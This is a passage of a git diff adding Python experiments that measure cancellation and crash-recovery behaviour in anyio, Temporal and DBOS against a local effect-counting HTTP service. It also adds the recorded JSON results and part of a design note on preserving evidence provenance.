= True + except ProcessLookupError: + measurement["caller_process_alive_after_cancel"] = False + if kind == "process": + assert not measurement["caller_process_alive_after_cancel"] + await anyio.sleep(0.9) + measurement["later"] = observe(url, key) + assert measurement["at_cancel"]["effects"] == 0 + assert measurement["later"]["effects"] == 1 + return measurement + + +async def main(): + with Witness() as witness: + results = { + kind: await run_case(witness.url, kind) for kind in ("thread", "process") + } + limiter = anyio.CapacityLimiter(1) + async with anyio.create_task_group() as group: + + async def occupy(): + await anyio.to_thread.run_sync( + functools.partial(effect, witness.url, "saturation", delay=0.6), + limiter=limiter, + ) + + group.start_soon(occupy) + await anyio.to_thread.run_sync(wait_for, witness.url, "saturation") + with anyio.move_on_after(0.1) as same_lane: + await anyio.to_thread.run_sync(lambda: "status", limiter=limiter) + separate_status = await anyio.to_thread.run_sync( + lambda: "status", limiter=anyio.CapacityLimiter(1) + ) + before_effect = observe(witness.url, "saturation") + results["saturation"] = { + "shared_capacity_control_expired": same_lane.cancel_called, + "separate_capacity_status": separate_status, + "witness_at_separate_status": before_effect, + } + assert same_lane.cancel_called and before_effect["effects"] == 0 + record("anyio", results) + + +if __name__ == "__main__": + anyio.run(main) diff --git a/docs/research/execution-architecture/experiments/temporal_worker.py b/docs/research/execution-architecture/experiments/temporal_worker.py new file mode 100644 index 000000000..b07d2164c --- /dev/null +++ b/docs/research/execution-architecture/experiments/temporal_worker.py @@ -0,0 +1,65 @@ +"""Worker process, deliberately separable from Temporal service and witness.""" + +import asyncio +from datetime import timedelta +import os +from pathlib import Path +import sys + +from temporalio import activity, workflow +from temporalio.client import Client +from temporalio.common import RetryPolicy +from temporalio.worker import Worker, UnsandboxedWorkflowRunner + +from witness import effect + + +@activity.defn +async def invoke(spec: dict) -> str: + if spec["mode"] == "cooperative": + for _ in range(30): + activity.heartbeat("synthetic-progress") + await asyncio.sleep(0.1) + return "finished-without-effect" + await asyncio.to_thread(effect, spec["url"], spec["key"], spec.get("delay", 0)) + marker = Path(".probe-state", spec["key"] + "-crashed") + if spec["mode"] == "crash" and not marker.exists(): + marker.touch() + os._exit(73) + return "effect-returned" + + +@workflow.defn +class Operation: + @workflow.run + async def run(self, spec: dict) -> str: + return await workflow.execute_activity( + invoke, + spec, + start_to_close_timeout=timedelta(seconds=2), + heartbeat_timeout=timedelta(seconds=0.5) + if spec["mode"] == "cooperative" + else None, + retry_policy=RetryPolicy( + maximum_attempts=spec["attempts"], + initial_interval=timedelta(seconds=0.1), + ), + cancellation_type=workflow.ActivityCancellationType.WAIT_CANCELLATION_COMPLETED, + ) + + +async def main(): + client = await Client.connect(sys.argv[1]) + async with Worker( + client, + task_queue="rae1350", + workflows=[Operation], + activities=[invoke], + workflow_runner=UnsandboxedWorkflowRunner(), + max_heartbeat_throttle_interval=timedelta(seconds=0.1), + ): + await asyncio.Event().wait() + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/docs/research/execution-architecture/experiments/test_temporal_verification.py b/docs/research/execution-architecture/experiments/test_temporal_verification.py new file mode 100644 index 000000000..521aee40b --- /dev/null +++ b/docs/research/execution-architecture/experiments/test_temporal_verification.py @@ -0,0 +1,47 @@ +"""Negative controls for the experiment's cancellation and recovery claims.""" + +import copy +import json +from pathlib import Path +import unittest + +from verify_temporal import verify + + +class TemporalVerificationTests(unittest.TestCase): + def setUp(self): + evidence = Path(__file__).resolve().parents[1] / "evidence.json" + self.results = json.loads(evidence.read_text())["results"]["temporal"] + + def test_recorded_observations_satisfy_the_claims(self): + verify(self.results) + + def test_cooperative_completion_without_cancel_is_rejected(self): + result = self.results["temporal-cancel-cooperative"] + result["workflow_status"] = "COMPLETED" + result.pop("error_type") + result["result"] = "finished-without-effect" + with self.assertRaises(AssertionError): + verify(self.results) + + def test_absorbed_timeout_is_rejected_for_every_case(self): + for key in self.results: + with self.subTest(key=key): + results = copy.deepcopy(self.results) + results[key].pop("result", None) + results[key]["error_type"] = "TimeoutError" + with self.assertRaises(AssertionError): + verify(results) + + def test_inconsistent_effect_count_is_rejected_for_every_case(self): + for key in self.results: + with self.subTest(key=key): + results = copy.deepcopy(self.results) + observation = "after_recovery" if "crash" in key else "later" + results[key][observation]["effects"] += 1 + with self.assertRaises(AssertionError): + verify(results) + + +if __name__ == "__main__": + unittest.main() diff --git a/docs/research/execution-architecture/experiments/test_witness.py b/docs/research/execution-architecture/experiments/test_witness.py new file mode 100644 index 000000000..8e8d9d495 --- /dev/null +++ b/docs/research/execution-architecture/experiments/test_witness.py @@ -0,0 +1,37 @@ +"""Narrow measurement checks; these do not certify any candidate framework.""" + +import concurrent.futures +import time +import unittest + +from witness import Witness, effect, observe + + +class WitnessTests(unittest.TestCase): + def test_effect_survives_caller_timeout(self): + with Witness() as witness: + with self.assertRaises(TimeoutError): + effect(witness.url, "lost-ack", delay=0.15, timeout=0.03) + time.sleep(0.25) + self.assertEqual(observe(witness.url, "lost-ack")["effects"], 1) + + def test_duplicate_attempts_are_independently_counted(self): + with Witness() as witness: + with concurrent.futures.ThreadPoolExecutor(2) as pool: + list(pool.map(lambda _: effect(witness.url, "repeat"), range(2))) + self.assertEqual(observe(witness.url, "repeat")["effects"], 2) + + def test_requests_and_effects_are_distinct(self): + with Witness() as witness: + with concurrent.futures.ThreadPoolExecutor(1) as pool: + task = pool.submit(effect, witness.url, "blocked", delay=0.2) + deadline = time.monotonic() + 1 + while not observe(witness.url, "blocked")["requests"]: + self.assertLess(time.monotonic(), deadline) + self.assertEqual(observe(witness.url, "blocked")["effects"], 0) + task.result(timeout=1) + self.assertEqual(observe(witness.url, "blocked")["effects"], 1) + + +if __name__ == "__main__": + unittest.main() diff --git a/docs/research/execution-architecture/experiments/verify_temporal.py b/docs/research/execution-architecture/experiments/verify_temporal.py new file mode 100644 index 000000000..552b9e746 --- /dev/null +++ b/docs/research/execution-architecture/experiments/verify_temporal.py @@ -0,0 +1,44 @@ +"""Verify engine outcomes as well as the retained probe's effect observations.""" + +import asyncio +import json +from pathlib import Path + + +def verify(results): + for attempts in (2, 1): + result = results[f"temporal-crash-{attempts}"] + assert result["after_recovery"]["effects"] == attempts + if attempts == 2: + assert result.get("result") == "effect-returned" + assert "error_type" not in result + else: + assert result.get("error_type") == "WorkflowFailureError" + assert "result" not in result + for mode, count in (("uncooperative", 1), ("cooperative", 0)): + result = results[f"temporal-cancel-{mode}"] + assert result["later"]["effects"] == count + if mode == "cooperative": + assert result["workflow_status"] == "CANCELED" + assert result.get("error_type") == "WorkflowFailureError" + assert "result" not in result + else: + assert result["workflow_status"] == "COMPLETED" + assert result.get("result") == "effect-returned" + assert "error_type" not in result + + +def main(): + # Keep the original source byte-for-byte reproducible; verify its fresh output. + from probe_temporal import main as run_probe + + output = Path("results/temporal.json") + if output.exists(): + raise RuntimeError("use a fresh experiment directory") + asyncio.run(run_probe()) + verify(json.loads(output.read_text())) + print("Temporal recovery and cancellation outcomes verified", flush=True) + + +if __name__ == "__main__": + main() diff --git a/docs/research/execution-architecture/experiments/witness.py b/docs/research/execution-architecture/experiments/witness.py new file mode 100644 index 000000000..ffa2fa058 --- /dev/null +++ b/docs/research/execution-architecture/experiments/witness.py @@ -0,0 +1,114 @@ +"""Synthetic effect service in a process independent of candidate workers.""" + +from collections import defaultdict +from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer +import json +import multiprocessing +import os +from pathlib import Path +import threading +import time +import urllib.parse +import urllib.request + + +def _serve(connection): + state = defaultdict( + lambda: {"requests": 0, "effects": 0, "events": [], "caller_pids": []} + ) + lock = threading.Lock() + + class Handler(BaseHTTPRequestHandler): + def log_message(self, *_args): + pass + + def reply(self, value): + data = json.dumps(value).encode() + self.send_response(200) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(data))) + self.end_headers() + try: + self.wfile.write(data) + except (BrokenPipeError, ConnectionResetError): + pass + + def do_GET(self): + key = urllib.parse.unquote(self.path[1:]) + with lock: + result = json.loads(json.dumps(state[key])) + self.reply(result) + + def do_POST(self): + data = json.loads(self.rfile.read(int(self.headers["Content-Length"]))) + key = data["key"] + with lock: + state[key]["requests"] += 1 + state[key]["caller_pids"].append(data["caller_pid"]) + state[key]["events"].append(["request", time.monotonic()]) + time.sleep(data.get("delay", 0)) + with lock: + state[key]["effects"] += 1 + state[key]["events"].append(["effect", time.monotonic()]) + time.sleep(data.get("ack_delay", 0)) + self.reply({"applied": True}) + + server = ThreadingHTTPServer(("127.0.0.1", 0), Handler) + connection.send(f"http://127.0.0.1:{server.server_port}") + connection.close() + server.serve_forever() + + +class Witness: + def __enter__(self): + parent, child = multiprocessing.Pipe() + self.process = multiprocessing.Process( + target=_serve, args=(child,), daemon=True + ) + self.process.start() + if not parent.poll(5): + self.process.terminate() + self.process.join(5) + raise TimeoutError("witness startup") + self.url = parent.recv() + parent.close() + child.close() + return self + + def __exit__(self, *_args): + self.process.terminate() + self.process.join(5) + + +def effect(url, key, delay=0, ack_delay=0, timeout=10): + data = json.dumps( + {"key": key, "delay": delay, "ack_delay": ack_delay, "caller_pid": os.getpid()} + ).encode() + req = urllib.request.Request( + url + "/effect", data=data, headers={"Content-Type": "application/json"} + ) + with urllib.request.urlopen(req, timeout=timeout) as response: + return json.load(response) + + +def observe(url, key): + with urllib.request.urlopen( + url + "/" + urllib.parse.quote(key), timeout=3 + ) as response: + return json.load(response) + + +def wait_for(url, key, field="requests", count=1, timeout=10): + deadline = time.monotonic() + timeout + while time.monotonic() < deadline: + state = observe(url, key) + if state[field] >= count: + return state + time.sleep(0.01) + raise TimeoutError(f"witness {key} {field}<{count}") + + +def record(name, value): + Path("results").mkdir(exist_ok=True) + Path("results", name + ".json").write_text(json.dumps(value, indent=2) + "\n") + print(json.dumps({"probe": name, **value}), flush=True) diff --git a/docs/research/execution-architecture/local-recheck.json b/docs/research/execution-architecture/local-recheck.json new file mode 100644 index 000000000..73688cda6 --- /dev/null +++ b/docs/research/execution-architecture/local-recheck.json @@ -0,0 +1,702 @@ +{ + "schema": "rae.execution-experiment-local-recheck/v1", + "date": "2026-09-23", + "python": "3.14.4", + "platform": "Linux-6.8.0-117-generic-x86_64-with-glibc2.39", + "packages": { + "anyio": "4.15.1", + "dbos": "3.0.0", + "temporalio": "1.33.0", + "simpy": "4.1.2" + }, + "commands": [ + { + "args": [ + "-m", + "unittest", + "test_witness", + "-v" + ], + "returncode": 0 + }, + { + "args": [ + "probe_workers.py" + ], + "returncode": 0 + }, + { + "args": [ + "probe_simpy.py" + ], + "returncode": 0 + }, + { + "args": [ + "probe_dbos.py" + ], + "returncode": 0 + }, + { + "args": [ + "probe_temporal.py" + ], + "returncode": 0 + }, + { + "args": [ + "probe_publication.py" + ], + "returncode": 0 + } + ], + "source_sha256": { + "probe_temporal.py": "7b12c63f91a0a138553acd7c2f5bad4b0016804581e68eba19caf0604a746517", + "temporal_worker.py": "56529d06d2a23fc4c6d4d20968744e6805a71b45c46b61009277609886f44592", + "test_witness.py": "d6613b18a645861fd6b7322e1650a62b237b6be5e64d9a93f00aae02abd7ac69", + "witness.py": "26c63959b52ea4c6f4e77902a9a18acf0ba97304dd91f7a9ff6feac4571ce51f", + "dbos_worker.py": "113dbc62df2be37924b124ee2c2abdaea7e0ea35a15d8beb5c928d5e49aaca2c", + "probe_dbos.py": "0533b361058deb1813d8e364b04eef27ab35aa692b0474eae9e98cf814adbc68", + "probe_ray.py": "982ed3fe873176f5a4ba3b0c30d8d9c823fdd593af62e6e643f17fac7d1dee9f", + "probe_simpy.py": "9335ab9b9129ddb6cea683a0e94cc35c3ca7d3a868216fe80c9fac617ba30861", + "probe_ros.py": "46f1409a772f007a4dcf788c77821ed870cc80f74e5ee5d75f7c6bee555e2c1b", + "probe_workers.py": "85e03d1d1f43e560e67dc5eba57fb80a016391ebdd4dc83cc9354d78988dc788", + "probe_publication.py": "d874b4c6ba98e7999ee1cbcfc3379917ac70a3cae9f527f873ef16737acc6b61" + }, + "results": { + "dbos-r2-guarded-worker": { + "result": "indeterminate-no-second-invocation", + "status": "SUCCESS" + }, + "dbos": { + "unguarded": { + "worker_crash_exit": 73, + "after_crash": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11240221.53309358 + ], + [ + "effect", + 11240221.533158053 + ] + ], + "caller_pids": [ + 3450563 + ] + }, + "after_recovery": { + "requests": 2, + "effects": 2, + "events": [ + [ + "request", + 11240221.53309358 + ], + [ + "effect", + 11240221.533158053 + ], + [ + "request", + 11240223.071707277 + ], + [ + "effect", + 11240223.071775736 + ] + ], + "caller_pids": [ + 3450563, + 3450599 + ] + }, + "worker": { + "result": "effect-returned", + "status": "SUCCESS" + } + }, + "guarded": { + "worker_crash_exit": 73, + "after_crash": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11240226.248305984 + ], + [ + "effect", + 11240226.248369824 + ] + ], + "caller_pids": [ + 3450654 + ] + }, + "after_recovery": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11240226.248305984 + ], + [ + "effect", + 11240226.248369824 + ] + ], + "caller_pids": [ + 3450654 + ] + }, + "worker": { + "result": "indeterminate-no-second-invocation", + "status": "SUCCESS" + } + }, + "cancellation": { + "at_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 11240231.077331567 + ] + ], + "caller_pids": [ + 3451565 + ] + }, + "status_after_cancel": "CANCELLED", + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11240231.077331567 + ], + [ + "effect", + 11240231.87742288 + ] + ], + "caller_pids": [ + 3451565 + ] + }, + "following_step_executed": false + } + }, + "anyio": { + "thread": { + "at_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 11240216.585383965 + ] + ], + "caller_pids": [ + 3450452 + ] + }, + "local_cancel_return_seconds": 0.0007227752357721329, + "after_local_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 11240216.585383965 + ] + ], + "caller_pids": [ + 3450452 + ] + }, + "caller_process_alive_after_cancel": true, + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11240216.585383965 + ], + [ + "effect", + 11240217.28547216 + ] + ], + "caller_pids": [ + 3450452 + ] + } + }, + "process": { + "at_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 11240217.595452571 + ] + ], + "caller_pids": [ + 3450470 + ] + }, + "local_cancel_return_seconds": 0.00459783710539341, + "after_local_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 11240217.595452571 + ] + ], + "caller_pids": [ + 3450470 + ] + }, + "caller_process_alive_after_cancel": false, + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11240217.595452571 + ], + [ + "effect", + 11240218.29551064 + ] + ], + "caller_pids": [ + 3450470 + ] + } + }, + "saturation": { + "shared_capacity_control_expired": true, + "separate_capacity_status": "status", + "witness_at_separate_status": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 11240218.505874995 + ] + ], + "caller_pids": [ + 3450452 + ] + } + } + }, + "temporal": { + "temporal-crash-2": { + "worker_crash_exit": 73, + "after_crash": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11240235.445636837 + ], + [ + "effect", + 11240235.445696658 + ] + ], + "caller_pids": [ + 3452296 + ] + }, + "after_recovery": { + "requests": 2, + "effects": 2, + "events": [ + [ + "request", + 11240235.445636837 + ], + [ + "effect", + 11240235.445696658 + ], + [ + "request", + 11240238.451852543 + ], + [ + "effect", + 11240238.451910865 + ] + ], + "caller_pids": [ + 3452296, + 3452363 + ] + }, + "result": "effect-returned" + }, + "temporal-crash-1": { + "worker_crash_exit": 73, + "after_crash": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11240248.785291463 + ], + [ + "effect", + 11240248.785349553 + ] + ], + "caller_pids": [ + 3452980 + ] + }, + "after_recovery": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11240248.785291463 + ], + [ + "effect", + 11240248.785349553 + ] + ], + "caller_pids": [ + 3452980 + ] + }, + "error_type": "WorkflowFailureError" + }, + "temporal-cancel-uncooperative": { + "at_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 11240261.121049624 + ] + ], + "caller_pids": [ + 3453487 + ] + }, + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11240261.121049624 + ], + [ + "effect", + 11240261.921132945 + ] + ], + "caller_pids": [ + 3453487 + ] + }, + "settlement_seconds": 0.8042703829705715, + "workflow_status": "COMPLETED", + "result": "effect-returned" + }, + "temporal-cancel-cooperative": { + "at_cancel": { + "requests": 0, + "effects": 0, + "events": [], + "caller_pids": [] + }, + "later": { + "requests": 0, + "effects": 0, + "events": [], + "caller_pids": [] + }, + "settlement_seconds": 0.05188502557575703, + "workflow_status": "CANCELED", + "error_type": "WorkflowFailureError" + } + }, + "simpy": { + "paused_virtual_time": 0, + "apparatus_elapsed_seconds": 0.10007679834961891, + "interrupt_trace": [ + [ + "interrupted", + 0 + ] + ], + "blocking_callback_holds_step": true + }, + "dbos-r2-cancel-worker": { + "at_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 11240231.077331567 + ] + ], + "caller_pids": [ + 3451565 + ] + }, + "status_after_cancel": "CANCELLED", + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11240231.077331567 + ], + [ + "effect", + 11240231.87742288 + ] + ], + "caller_pids": [ + 3451565 + ] + }, + "following_step_executed": false + }, + "publication": { + "race": [ + { + "requested": "CANCELLED", + "won": true + }, + { + "requested": "SUCCEEDED", + "won": false + } + ], + "terminal": [ + "CANCELLED", + 1 + ], + "audit": [ + [ + "CANCELLED" + ] + ], + "lost_ack_readback": [ + "SUCCEEDED", + 1 + ], + "scope": "SQLite toy transaction boundary; no external fencing claim" + }, + "dbos-r2-unguarded-worker": { + "result": "effect-returned", + "status": "SUCCESS" + } + }, + "temporal_environment": { + "cli": "1.9.1", + "server": "1.32.0", + "persistence": "in-memory", + "loss_boundary": "worker process only", + "workflow_runner": "UnsandboxedWorkflowRunner" + }, + "verified_temporal_followup": { + "command": "timeout 150 python verify_temporal.py", + "returncode": 0, + "python": "3.14.4", + "packages": { + "anyio": "4.15.1", + "dbos": "3.0.0", + "temporalio": "1.33.0", + "simpy": "4.1.2" + }, + "temporal_environment": { + "cli": "1.9.1", + "server": "1.32.0", + "persistence": "in-memory", + "loss_boundary": "worker process only", + "workflow_runner": "UnsandboxedWorkflowRunner" + }, + "source_sha256": { + "witness.py": "26c63959b52ea4c6f4e77902a9a18acf0ba97304dd91f7a9ff6feac4571ce51f", + "temporal_worker.py": "56529d06d2a23fc4c6d4d20968744e6805a71b45c46b61009277609886f44592", + "probe_temporal.py": "7b12c63f91a0a138553acd7c2f5bad4b0016804581e68eba19caf0604a746517", + "verify_temporal.py": "628ca0bd7ca28930d46ed1475d5ac38e379e0839df2c2727c5e34bdb5938ba14", + "test_temporal_verification.py": "813620aad181c67b2491e849020ee4f9cc41804386140d29bb4a0e6dc6ef212c" + }, + "negative_control_tests": { + "test_module": "test_temporal_verification", + "passed": 4, + "before_fix": "Effect-only verification incorrectly accepted all four injected timeouts and a cooperative completion without cancellation." + }, + "results": { + "temporal-crash-2": { + "worker_crash_exit": 73, + "after_crash": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11241669.679975357 + ], + [ + "effect", + 11241669.680008808 + ] + ], + "caller_pids": [ + 3495544 + ] + }, + "after_recovery": { + "requests": 2, + "effects": 2, + "events": [ + [ + "request", + 11241669.679975357 + ], + [ + "effect", + 11241669.680008808 + ], + [ + "request", + 11241672.686307032 + ], + [ + "effect", + 11241672.686372045 + ] + ], + "caller_pids": [ + 3495544, + 3495599 + ] + }, + "result": "effect-returned" + }, + "temporal-crash-1": { + "worker_crash_exit": 73, + "after_crash": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11241682.999058144 + ], + [ + "effect", + 11241682.999115843 + ] + ], + "caller_pids": [ + 3495768 + ] + }, + "after_recovery": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11241682.999058144 + ], + [ + "effect", + 11241682.999115843 + ] + ], + "caller_pids": [ + 3495768 + ] + }, + "error_type": "WorkflowFailureError" + }, + "temporal-cancel-uncooperative": { + "at_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 11241695.3042283 + ] + ], + "caller_pids": [ + 3496116 + ] + }, + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 11241695.3042283 + ], + [ + "effect", + 11241696.10431067 + ] + ], + "caller_pids": [ + 3496116 + ] + }, + "settlement_seconds": 0.8040521163493395, + "workflow_status": "COMPLETED", + "result": "effect-returned" + }, + "temporal-cancel-cooperative": { + "at_cancel": { + "requests": 0, + "effects": 0, + "events": [], + "caller_pids": [] + }, + "later": { + "requests": 0, + "effects": 0, + "events": [], + "caller_pids": [] + }, + "settlement_seconds": 0.07258031889796257, + "workflow_status": "CANCELED", + "error_type": "WorkflowFailureError" + } + } + } +} diff --git a/docs/research/experiment-core/issue-342-exp-732-evidence-provenance-2026-09-15.md b/docs/research/experiment-core/issue-342-exp-732-evidence-provenance-2026-09-15.md new file mode 100644 index 000000000..918e6f269 --- /dev/null +++ b/docs/research/experiment-core/issue-342-exp-732-evidence-provenance-2026-09-15.md @@ -0,0 +1,305 @@ +# Issue #342 EXP-732 Evidence Source And Augmentation Provenance Preflight Guardrails + +Date: 2026-06-28 + +Revalidated against the current repository: 2026-09-15. + +Issue: #342. + +Requirement: EXP-732. + +This preflight narrows issue #128 to preserving authored evidence +requirements, the realized evidence sources that satisfied them, and +processor/backend augmentation added for capture, evaluation, or operation. +It is implementation guidance only: it does not add schemas, fields, +validators, storage, APIs, fixtures, tests, or coverage claims. + +ADR-064, ADR-065, and ADR-066 remain the design authority. The supplied issue +context records a dependency on joint design #128/#127; the current tree already +contains their contracts and conformance machinery. Their presence is not proof +of end-to-end EXP-732 implementation or a change to the issue's dependency status. + +## Architecture Decisions + +- Treat `experiment-run-v1` as the canonical archival join point. Do not add an + `experiment-evidence-provenance-v1`, `run-evidence-satisfaction-v1`, or + parallel apparatus-provenance root. +- Preserve the distinction between authored requirement, executable capture + specification, raw evidence record, run evidence artifact, derived measure, + realized-form disclosure, and augmentation disclosure. None is a synonym for + another. +- Preserve authored evidence requirements by reference to their retained, + revision-pinned SDL carrier and explicit `experiment-capture-spec-v1` / capture + requirement binding. Retain the authored source as well as the instantiated + scenario; an address in today's mutable SDL is not historical provenance. + A capture specification remains intent, and generation/resolution of that + binding must not be assumed to exist merely because fields accept refs. +- Preserve realized evidence sources through `experiment-evidence-record-v1` + `source_refs`, `capture_spec_ref`, `capture_requirement_ref`, raw-content + metadata, redaction/loss state, and run `traceability.evidence_record_refs`. + Do not treat backend logs, operation records, or audit events as realized + evidence unless they are projected through evidence records or artifact refs. +- Preserve augmentation through existing run-level + `augmentation_disclosures`. Environment-visible, participant-visible, or + comparability-relevant augmentation must have evidence refs traced through + the run; apparatus-only operational augmentation may omit supporting evidence + only when neither its purpose nor its classifications require that evidence. +- Apparatus provenance remains `experiment-apparatus-context-v1` plus manifest + identity, selected manifests, measurement channels, observed setup evidence, + backend observation capability declarations, and run-level augmentation or + realized-form disclosures. Apparatus context alone must not become a hidden + satisfaction ledger. Operational-only augmentation must still be preserved; + exemption from supporting capture evidence is not exemption from disclosure. + +## Required Incumbents + +- SDL authored requirement surface: `raes.evidence_requirements`, + `Scenario.evidence_requirements`, `SemanticValidator._verify_evidence_requirements`, + `parse_sdl()`, `instantiate_scenario()`, fail-closed targetable refs, and + `raes.observability_plane_semantics`. Reuse `_language_metadata.py`, + `composition/_behavior.py`, and `validator/_evidence_requirements.py` for + reference rewriting, semantic scope, and forwarding-agent ownership checks. +- Experiment contracts: + `ContractModel`, `ExperimentCaptureSpecModel`, + `ExperimentCaptureRequirementModel`, `ExperimentEvidenceRecordModel`, + `ExperimentRunTraceabilityModel`, `ExperimentRealizedFormDisclosureModel`, + `ExperimentAugmentationDisclosureModel`, `ExperimentRunModel`, + `ExperimentApparatusContextModel`, `ExperimentArtifactRefModel`, + `ExperimentReferenceModel`, `schema_bundle()`, and + `validate_experiment_run_against_task()`. +- Admission and content proof: `raes_processor.capture_admission`, + `compiler/observation_demands.py`, `ObservationCaptureOfferModel`, + `raes_backend_protocols.observation_capture.ObservationCaptureOffer`, + `ExperimentRunEvidenceInputs`, `raes_contracts.evidence_satisfaction`, + `_evidence_content_validation.py`, and `evidence_output_validation.py`. + These own demand/offer matching and requirement-to-record-to-byte validation. +- Conformance: `raes_conformance.conformance.observability` and + `contracts/profiles/backend/observability-evidence.json`. Invoke + `observability_evidence_conformance_diagnostics()` in addition to model + validation; do not replicate its rules in a producer. +- Apparatus and capability authority: + processor/backend manifest models, `ObservationCapabilitiesModel`, + `ObservationCapabilities`, `OBSERVATION_CAPABILITY_REQUIRED_CONTRACTS`, + `observation_capability_contract_gaps()`, manifest-authority helpers, + concept-authority catalogs, and governed observation vocabularies. +- Runtime/API incumbents for any future producer or publication path: + `RuntimeControlPlane`, `ControlPlaneStore`, `ControlPlaneSecurityConfig`, + `ControlPlaneIdentity`, `ControlPlaneRole`, request-size guards, + idempotency keys, request fingerprints, audit events, closed FastAPI DTOs, + `Diagnostic`, and the redacted HTTP 500 envelope. +- Backend/OS boundary incumbents: + `DeploymentDriver`, fixed-argv OCI driver patterns, bounded timeouts, + image trust policy, portable handles, and sanitized diagnostics. +- Governance: + `contracts/schemas/`, `contracts/fixtures/`, `contracts/schema-publication-manifest.json`, + `contracts/schema-publication/entries/`, `contracts/schema-publication/tombstones/`, + `tools/generate_contract_schemas.py`, `tools/check_generated_schemas.py`, + `tools/check_schema_publication.py`, `tools/check_json_artifacts.py`, + `tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, + `tools/verify_all.py`, `.ground-control.yaml`, and `.gc/plan-rules.md`. + +## Existing Enforcement And Limits + +- `ExperimentRunModel` checks disclosure identities and exact evidence-ref + membership through `experiment_artifacts._experiment_reference_key` (kind, + id, version, digest, path, and subject where applicable). Do not replace this + with id-only comparison. Record ids, requirement ids, and artifact ids have + different roles even when a fixture happens to give them the same string. +- Reference membership and allowed kinds do not prove that an affected source + exists or that the named augmentation producer is the selected apparatus. + Preserve the actual processor/backend manifest identity, apparatus/channel + binding, and resolvable authored snapshot. Use the owning reference and + manifest-authority helpers for these joins. Content proof checks the admitted + channel; it does not independently attest every claimed source or side effect. +- SEM-225 model validation and ASR-525 conformance have separate responsibilities. + The latter requires `affected_refs`, a portable carrier, and supporting evidence + for `evidence`, `evaluation`, or `comparability` purposes, including apparatus-only + classifications. All selected classifications apply cumulatively. A + capture-window or measurement-channel refinement must retain `authored_ref` + and evidence; use the existing EXP-731 realized-form disclosure boundary. +- `validate_experiment_run_structure_against_task()` establishes structural + compatibility only. `validate_experiment_run_against_task(..., evidence=...)` + is the content-backed authority used by study, repeatability, and necessity + consumers. Its evidence validator checks supplied capture/record sets, execution + identity, channel, window, sensitivity, artifact binding, size, checksum, + output contract, semantic validation, and field selectors. Do not substitute + structural checks, a conformance report, or a self-reported success flag. +- Today's proof accepts exactly one record per capture requirement and requires + requirement ids to be unambiguous across supplied specs. Summary-only, + withheld, unsupported-redaction-policy, or unprovable-window evidence cannot + establish satisfaction. Disclosure of a failed/partial capture remains valuable + provenance; never erase it or weaken the proof gate to make a run pass. +- Byte validation is currently bounded to 64 MiB per artifact and supported + JSON/JSONL contracts. `schema_bundle()` membership alone is insufficient: + `evidence_output_validation.py` also requires an owning semantic validator + (currently evidence records and participant behavior history streams). + Packet captures, arbitrary logs, checksum algorithms unavailable in the host's + `hashlib`, and unsupported integrity modes must not be advertised as verified. +- `capture_admission_diagnostics()` checks each demand against one complete + offer; it does not combine partial offers. SDL demands with unresolved + `capture_spec_ref` / `capture_requirement_ref` fail closed today. No implicit + authored-to-executable resolver or producer is supplied by these fields. + Manifest capability, admitted demand, realized description, retained operation + payload, and captured bytes remain separate claims. +- `typed_description` already exists on evidence and realized-form carriers. + Reuse `TypedRealizationDescriptionModel`, `validate_description_host`, and + `description_projection.readmit_description` when describing realized sources. + Descriptive facts are non-authoritative and cannot establish capture satisfaction; + withheld records cannot contain known descriptive values. + +## Cross-Cutting Layers + +- SDL/config layer: authored evidence requirements must pass safe parsing, + closed `SDLModel` shapes, no variable placeholders in symbol keys, + fail-closed reference resolution, and instantiated semantic revalidation. + Use `raes.parser` / `_yaml_loader.py`; preserve inbound apparatus evidence + bindings to measurement forwarding agents rather than attaching output refs + or storage credentials to authored agent inventory. +- Plane-classifier layer: source and carrier meaning must come from + `ObservabilityEvidencePlane` and carrier-role classifiers, not words such as + `log`, `trace`, `telemetry`, `observation`, or `evidence`. +- Contract structural layer: external artifacts must pass generated draft + 2020-12 schemas and closed-world `ContractModel` validation. Unknown fields + remain errors. Use `raes_contracts.json_ingress.parse_bounded_json` / the + object variant for external JSON: enforce byte/root limits and reject duplicate + members and non-finite constants before contract validation. +- Contract semantic layer: run traceability, evidence-record content/loss + disclosure, augmentation disclosure semantics, realized-form evidence refs, + apparatus manifest binding, task/run protocol binding, and task evidence + satisfaction must use existing validators and `x-raes-invariants`. +- Auth surface: any future HTTP create/read path must use existing + control-plane identity and role checks. Publishing provenance is a mutating + operation; dereferencing evidence content is a separate authorized read. + `control_plane_api/_auth.py` binds identities to the target and separates + backend/operator mutations from auditor-capable reads. Neither a provenance + ref, a sensitivity label, nor augmentation `markings` grants access or implements + participant projection; reuse participant audience and flow-policy gates. +- Request/idempotency surface: future HTTP paths must keep request-size guards, + idempotency keys, request fingerprints, audit recording, and closed DTOs. + Do not add a provenance-specific request pipeline. +- Secret-handling surface: provenance may carry sensitivity-aware refs, + checksums, bounded summaries, redaction 